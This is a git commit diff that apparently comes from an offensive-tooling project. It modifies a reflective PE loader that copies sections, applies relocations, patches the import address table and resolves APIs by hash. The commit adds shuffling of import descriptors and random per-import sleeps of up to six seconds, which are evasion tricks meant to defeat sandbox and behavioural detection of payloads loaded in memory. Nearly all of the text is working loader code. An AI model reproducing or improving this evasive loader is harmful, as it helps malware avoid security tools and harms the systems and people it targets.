obfuscate loader IAT patching with conditional sleeps

This commit is contained in:
17ms 2024-01-03 17:25:17 +02:00
parent f820b24339
commit e60e521653
2 changed files with 30 additions and 14 deletions

View File

@ -95,7 +95,7 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData
4.) Resolve the imports by patching the Import Address Table (IAT) 4.) Resolve the imports by patching the Import Address Table (IAT)
*/ */
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, eng)) if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, eng))
{ {
return; return;
} }
@ -189,7 +189,7 @@ void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0); pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
} }
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng) BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng)
{ {
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
@ -200,8 +200,9 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
/* /*
1.) Shuffle Import Table entries 1.) Shuffle Import Table entries
2.) Conditional execution based on ordinal/name 2.) Delay the relocation of each import a semirandom duration
3.) Indirect function call via pointer 3.) Conditional execution based on ordinal/name
4.) Indirect function call via pointer
*/ */
int importCount = 0; int importCount = 0;
@ -213,7 +214,10 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
pId++; pId++;
} }
if (importCount > 1) std::vector<std::pair<int, DWORD>> sleepDurations;
std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS);
if (importCount > 1 && OBFUSCATE_IMPORTS)
{ {
for (auto i = 0; i < importCount - 1; i++) for (auto i = 0; i < importCount - 1; i++)
{ {
@ -224,6 +228,10 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
auto tmp = pImportDescriptor[i]; auto tmp = pImportDescriptor[i];
pImportDescriptor[i] = pImportDescriptor[j]; pImportDescriptor[i] = pImportDescriptor[j];
pImportDescriptor[j] = tmp; pImportDescriptor[j] = tmp;
// Store unique sleep durations with their corresponding import index
auto sleepTime = sleepDist(eng);
sleepDurations.push_back(std::make_pair(i, sleepTime));
} }
} }
@ -231,8 +239,20 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
HMODULE hModule; HMODULE hModule;
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat; PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
while (pImportDescriptor->Name) for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++)
{ {
// Apply delay
if (OBFUSCATE_IMPORTS)
{
auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair<int, DWORD> &pair)
{ return pair.first == i; });
if (it != sleepDurations.end())
{
pSleep(it->second);
}
}
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name); pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
hModule = pLoadLibraryW(pwszModuleName); hModule = pLoadLibraryW(pwszModuleName);
@ -247,7 +267,7 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
LPCSTR lpProcName; LPCSTR lpProcName;
PIMAGE_IMPORT_BY_NAME pImportByName; PIMAGE_IMPORT_BY_NAME pImportByName;
while (pThunkData->u1.Function) for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++)
{ {
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
{ {
@ -262,12 +282,7 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
} }
pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName)); pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName));
pThunkData++;
pThunkDataIat++;
} }
pImportDescriptor++;
} }
return TRUE; return TRUE;

View File

@ -4,7 +4,8 @@
#include <winternl.h> #include <winternl.h>
#include <random> #include <random>
#define IMPORT_DELAY 6 * 1000 // 6 seconds #define MAX_IMPORT_DELAY_MS 6 * 1000
#define OBFUSCATE_IMPORTS 1
#define HASH_KEY 5381 #define HASH_KEY 5381
#define KERNEL32_DLL_HASH 0x6DDB9555 #define KERNEL32_DLL_HASH 0x6DDB9555
@ -72,5 +73,5 @@ DWORD CalculateHash(const UNICODE_STRING &baseDllName);
// Loader functions // Loader functions
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders); void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta); BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng); BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng);
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache); void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);